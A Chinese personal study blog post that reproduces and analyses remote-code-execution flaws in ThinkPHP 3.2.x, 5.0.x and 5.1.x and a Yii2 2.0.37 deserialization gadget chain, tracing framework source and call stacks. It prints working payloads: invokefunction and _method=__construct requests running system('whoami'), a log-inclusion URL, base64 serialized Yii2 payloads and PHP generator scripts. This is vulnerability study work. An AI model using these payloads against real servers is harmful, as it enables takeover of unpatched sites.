因为近期状态不是很好,有时候甚至不知道该去做什么(明明还有那么多东西没有学),打算复现java相关的漏洞的时候总是因为各种原因没办法一下子完成,每次都需要重新看一遍(心累了)。

最后还是决定一下仔细复现一下ThinkPHP漏洞,都是以前做题或者比赛的时候遇到的,就当复习了,之后应该会时不时更新一下,算是个人学习笔记,如果有任何错误的地方欢迎师傅们指正

thinkphp3.2.xRCE、thinkphp5.0.xRCE、thinkphp5.1.xRCE、yii2反序列化……

ThinkPHP3.2.xRCE

环境

thinkphp3.2.3

win10

phpstudy8 php5.6

漏洞复现

利用
  • debug true

1.直接上payload

1
http://127.0.0.1:2007/?m=Home&c=Index&a=index&test=--><?phpinfo();?>

可以在本地发现日志文件将代码记录了,不过如果直接传的话会出现乱码,最好用bp抓包修改一下

1
http://192.168.49.1:2007/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_05_13.log

可以发现代码成功执行啦

img

  • debug false

利用报错

1
http://127.0.0.1:2007/?c=<?php phpinfo();?>
分析

首先传入的m|c|a为系统环境变量,通过修改变量的值使得进入特定的控制器,而在后面我们传进去value也会传进IndexController的index方法,并在assign之后可以在show方法的时候实现文件包含

image-20220513175918430

IndexController

1
2
3
4
5
6
7
8
9
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->show('……');
}
}

执行assign,直接跟进,在这里会调用到View类的assign方法

1
2
3
4
protected function assign($name,$value='') {
$this->view->assign($name,$value);
return $this;
}

View::assign,将我们传进去的值给$this->tVar

1
2
3
4
5
6
7
public function assign($name,$value=''){
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
}else {
$this->tVar[$name] = $value;
}
}

Controller:show

1
2
3
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}

View:display,会在fetch方法中将$this->tVar进行解析

1
2
3
4
5
6
7
8
9
10
11
12
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
//
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

img

Hook:listen,由于我们打开了debug模式,使得这些值都会进行记录,就比如trace就会实现日志的格式并写入相应的日志文件中

而listen里面最为重要的就是exec,这里会将整个$param都会传进去,即包括了我们自己写入的value

img

Hook:exec,会去调用某个继承Behavior抽象类的run方法

1
2
3
4
5
6
7
8
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$tag = 'run';
}
$addon = new $name();
return $addon->$tag($params);
}

Behavior\ParseTemplateBehavior:run,由于缓存的文件都为空,并且是thinkphp的模板,所有直接进去第一个else,直接调用到了Think\Template:fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
}else{
……
}
}

1
2
3
4
5
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}

对数组进行变量覆盖使得我们传进去的,value[_filename]的值变为变量覆盖之后$_filename的值,实现日志文件包含

1
2
3
4
5
6
7
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
// [_filename]='./Application/Runtime/Logs/Home/XX.XX.XX.log'
}
include $_filename;
}

ThinkPHP5.0.xRCE

环境

thinkphp5.0.10

win10

phpstudy8 php5.6

漏洞复现

利用

img

poc:

get:

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

post:

1
2
3
4
?s=captcha
post:
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

分析

  • POST

首先既然是RCE,那就先要找到我们最后想要利用的执行代码的方法,可以全局搜索一下一些常用的方法,比如eval|call_user_func之类的

全局搜索一下发现call_user_func很多,但是实际上可以用的很少,不过可以在Request::filterValue也发现了该方法,那么可以先来分析一下这里的call_user_func怎么样才能正确利用,这里回调函数为$filter,变量为$value,那么重点就是看两个参数是怎么传进去的,那就去看一下会在哪里调用到filterValue

img

但是作为一只菜鸡来说,还不会自己挖洞那就只能直接跟着payload的思路走了

贴上调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Request.php:1060, think\Request->filterValue()
Request.php:1007, array_walk_recursive()
Request.php:1007, think\Request->input()
Request.php:642, think\Request->param()
App.php:304, think\App::exec()
Request.php:501, think\Request->method()
Request.php:524, think\Request->isGet()
Route.php:1507, think\Route::parseRule()
Route.php:1189, think\Route::checkRule()
Route.php:950, think\Route::checkRoute()
Route.php:873, think\Route::check()
App.php:562, think\App::routeCheck()
App.php:123, think\App::run()
start.php:18, require()
index.php:17, {main}()

App::run,整个应用从这开始,通过调用可用方法检测路由以及获取回调函数等,并在最后返回响应值

此时的$requestRequestconfig被初始化为配置信息

img

App::routeCheck进行路由检测,而$path会调用到Request::pathinfo,其中config[‘var_pathinfo’]所对应的值为s所以如果在url中利用get方法传s=?其值即为路由

$depr的值为/

img

img

之后会通过Route::check调用到了Request::method

img

Request::method如图(在后续更新中会对$this->method的值进行白名单过滤

img

根据代码我们可以知道我们可以通过post上传_method,再在下面执行$this->$_method($_POST)

由于对整个thinkphp框架还是不够了解,所以这里我就直接把在Config:get中进行vard_ump得知返回值为_method,那么我们就可以通过post上传_method来控制执行的方法了,而payload中传进去的为__construct

Request::__construct,其中options为我们POST数组,会用property_exists检测此类中是否存在该属性,如果存在则直接赋值导致我们可以通过post传入同名属性从而控制所有属性的值,而input会将post字符串保存下来

最后method方法将属性method返回,而method属性已经被我们修改为get

img

之后就是继续检测s传进的路由并返回URL调度,如下

1
2
3
4
5
6
7
8
9
10
D:\phpstudy_pro\WWW\cms\thinkphp\library\think\App.php:567:
array (size=3)
'type' => string 'method' (length=6)
'method' =>
array (size=2)
0 => string '\think\captcha\CaptchaController' (length=32)
1 => string 'index' (length=5)
'var' =>
array (size=0)
empty

在之后的exec根据URL调度中type => 'method'从而执行回调方法,调用到param方法,再调用到input方法将post中所请求的信息等合并通过$data传了进去,从而在调用到Request::filterValue的时候$data包含了我们所传入的信息.

img

最终到达Request::filterValue,此时

1
filter => system
1
2
3
4
5
6
7
8
9
10
11
D:\phpstudy_pro\WWW\cms\thinkphp\library\think\Request.php:1004:
array (size=5)
'_method' => string '__construct' (length=11)
'filter' =>
array (size=1)
0 => string 'system' (length=6)
'method' => string 'get' (length=3)
'ameuu' =>
array (size=1)
0 => string 'whoami' (length=6)
'id' => null

通过call_user_func执行回调函数而执行数组的五个参数,从而最终实现

1
system('whoami')

img

  • get
1
2
3
4
5
6
App.php:200, think\App::invokeMethod()
App.php:412, think\App::module()
App.php:299, think\App::exec()
App.php:125, think\App::run()
start.php:18, require()
index.php:17, {main}()

get最后利用反射的方法进行代码执行

例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Hello ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Mike'));
?>

img

前面到exec函数调用都一样,但是由于s的值变成了index/\think\app/invokefunction,所以在检测路由的时候所返回的结果发生变化

1
2
3
4
5
6
7
8
D:\phpstudy_pro\WWW\cms\thinkphp\library\think\App.php:108:
array (size=2)
'type' => string 'module' (length=6)
'module' =>
array (size=3)
0 => string 'index' (length=5)
1 => string '\think\app' (length=10)
2 => string 'invokefunction' (length=14)

这也使得在exec中我们所执行的方法为

img

再调用App::invokeMethod执行{think\app,invokefunction}方法,而该方法的参数通过App::bindParams进行获取

img

获取到我们所传进去的

1
2
3
function=call_user_func
var[0]=system
var[1][]=whoami

img

之后就是利用反射执行call_user_func

ThinkPHP5.1.xRCE

环境

thinkphp5.1.x

win10

phpstudy8 php5.6

漏洞复现

利用

1
2
3
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
or
?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

分析

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Container.php:320, think\Container->invokeFunction()
Container.php:372, ReflectionMethod->invokeArgs()
Container.php:372, think\Container->invokeReflectMethod()
Module.php:129, think\route\dispatch\Module->think\route\dispatch\{closure}()
Middleware.php:176, call_user_func_array:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:176}()
Middleware.php:176, think\Middleware->think\{closure}()
Middleware.php:121, call_user_func:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:121}()
Middleware.php:121, think\Middleware->dispatch()
Module.php:134, think\route\dispatch\Module->exec()
Dispatch.php:167, think\route\Dispatch->run()
App.php:432, think\App->think\{closure}()
Middleware.php:176, call_user_func_array:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:176}()
Middleware.php:176, think\Middleware->think\{closure}()
Middleware.php:121, call_user_func:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:121}()
Middleware.php:121, think\Middleware->dispatch()
App.php:435, think\App->run()
index.php:21, {main}()

最终利用点:

1
2
3
4
5
6
7
8
9
10
11
12
public function invokeFunction($function, $vars = [])
{
try {
$reflect = new ReflectionFunction($function);

$args = $this->bindParams($reflect, $vars);

return call_user_func_array($function, $args);
} catch (ReflectionException $e) {
throw new Exception('function not exists: ' . $function . '()');
}
}
  • GET可用

和前面一样,依旧从App::run开始,会先进行路由检测,而通过thinkphp传参,我们利用get传s(相当于PATHINFO),将我们要利用的控制器传进去

App::checkRoute中会调用到Route::check,进行路由检测,将url(s的值)将/替换成|然后返回一个Url(继承Dispatch)类,最后返回至App::run

img

调用到Url::init,最终$dispatchModule

之后执行路由调度,调用Module::exec获得data

Module::exec中会利用反射的方法获取当前需要操作的方法,并通过Request类获取url中我们传入的变量,因为这些都是一开始保存在了Request类中

img

最后通过反射的方法,调用到了Container::invokefunction,实现RCE

  • POST不能用

img

修复

通过和5.1.41比较就可以发现dispatcha\Url::parseUrl

img

Yii2 反序列化

https://github.com/yiisoft/yii2/releases/tag/2.0.37

环境搭建详见reference

image-20220518093326494

漏洞复现

利用

payload:

1
?r=exp/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

img

分析

入口是我们自己写的Controller

照例全局搜索一下可以利用点,因为入口就写了一个反序列化,所以就先去找__destruct或者__construct

1
2
3
4
5
6
7
8
9
1. Swift_ByteStream_TemporaryFileByteStream::__destruct,Swift_KeyCache_DiskKeyCache::__destruct可以触发__toString
2.BatchQueryResult::__destruct可以触发__call或者调用到某一个类的close方法
3.XmlBuilder::__toString触发__call
4.Covers::__toString 触发 __call 或者 render
5.Nullable::__toString 触发__call
6.ExactValueToken::__toString 触发__call 或者 stringify
7.LazyString::__toString 触发 __invoke
8.
……

当然很多时候我们也可以先找可能可以利用的点再去,就比如在看的时候发现ActionSequence::run中就存在我们可能可以利用的call_user_func_array

1
2
3
4
5
6
7
8
9
10
11
12
13
public function run($context)
{
foreach ($this->actions as $step) {
/** @var $step Action **/
codecept_debug("- $step");
try {
call_user_func_array([$context, $step->getAction()], $step->getArguments());
} catch (\Exception $e) {
$class = get_class($e); // rethrow exception for a specific action
throw new $class($e->getMessage() . "\nat $step");
}
}
}

不过现在我们就先从头到尾吧

就比如一开始的Swift_ByteStream_TemporaryFileByteStream::__destruct可以触发__toString,先来找这一种的链子吧

1
2
3
4
5
Swift_ByteStream_TemporaryFileByteStream::__destruct
XmlBuilder::__toString
Generator::__call
Generator::format
Generator::getFormatter

首先我们看到Swift_KeyCache_DiskKeyCache::__destruct,会调用到clearAll,并在该方法里可以触发到XmlBuilder::__toString

1
2
3
4
5
6
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}

img

XmlBuilder::__toString调用到saveXML,那么可能可以触发__call,或者是可以利用的saveXML,咱们可以先去找__call

1
2
3
4
public function __toString()
{
return $this->__dom__->saveXML();
}

会发现一眼看过去比较好利用的也就只有Generator::__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 调用到format $method : saveXML $attributes : null
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

// 可以利用$this->formatters数组返回我们想调用的方法
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

poc:

1
data=TzozOToiRGlzS2V5Q2FjaGVcU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoxOntzOjQ1OiIARGlzS2V5Q2FjaGVcU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086Mjc6IkNvZGVjZXB0aW9uXFV0aWxcWG1sQnVpbGRlciI6MTp7czoxMDoiACoAX19kb21fXyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEwOiJmb3JtYXR0ZXJzIjthOjE6e3M6Nzoic2F2ZVhNTCI7czo5OiJwaHBpbmZvKCkiO319fX0=

img‘不行,换一个

1
2
3
4
BatchQueryResult::__destruct
Generator::__call
Generator::format
Generator::getFormatter

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

namespace yii\db;
use Faker\Generator;

class BatchQueryResult {
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}

namespace Faker;
class Generator {
public function __construct() {
$this->formatters['close'] = 'phpinfo';
}
}

namespace ameuu;


use yii\db\BatchQueryResult;

var_dump(base64_encode(serialize(new BatchQueryResult())));

img

但是我们又发现一个重要问题,这里只能执行类似于phpinfo这样的函数,我们没有办法传入参数,也做不到无参数RCE,那么只能利用现在已有的链子,试着找到可以利用的已经定义好的不用参数的方法

找到CreateAction::run,直接可以利用

img

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace yii\db;
use Faker\Generator;

class BatchQueryResult {
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}

namespace yii\rest;
class CreateAction {
private $checkAccess;
private $id;
public function __construct() {
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}

namespace Faker;
use yii\rest\CreateAction;

class Generator {
public function __construct() {
$this->formatters['close'] = [new CreateAction(),'run'];
}
}

namespace ameuu;


use yii\db\BatchQueryResult;

var_dump(base64_encode(serialize(new BatchQueryResult())));

img

小结

这里什么都没有捏~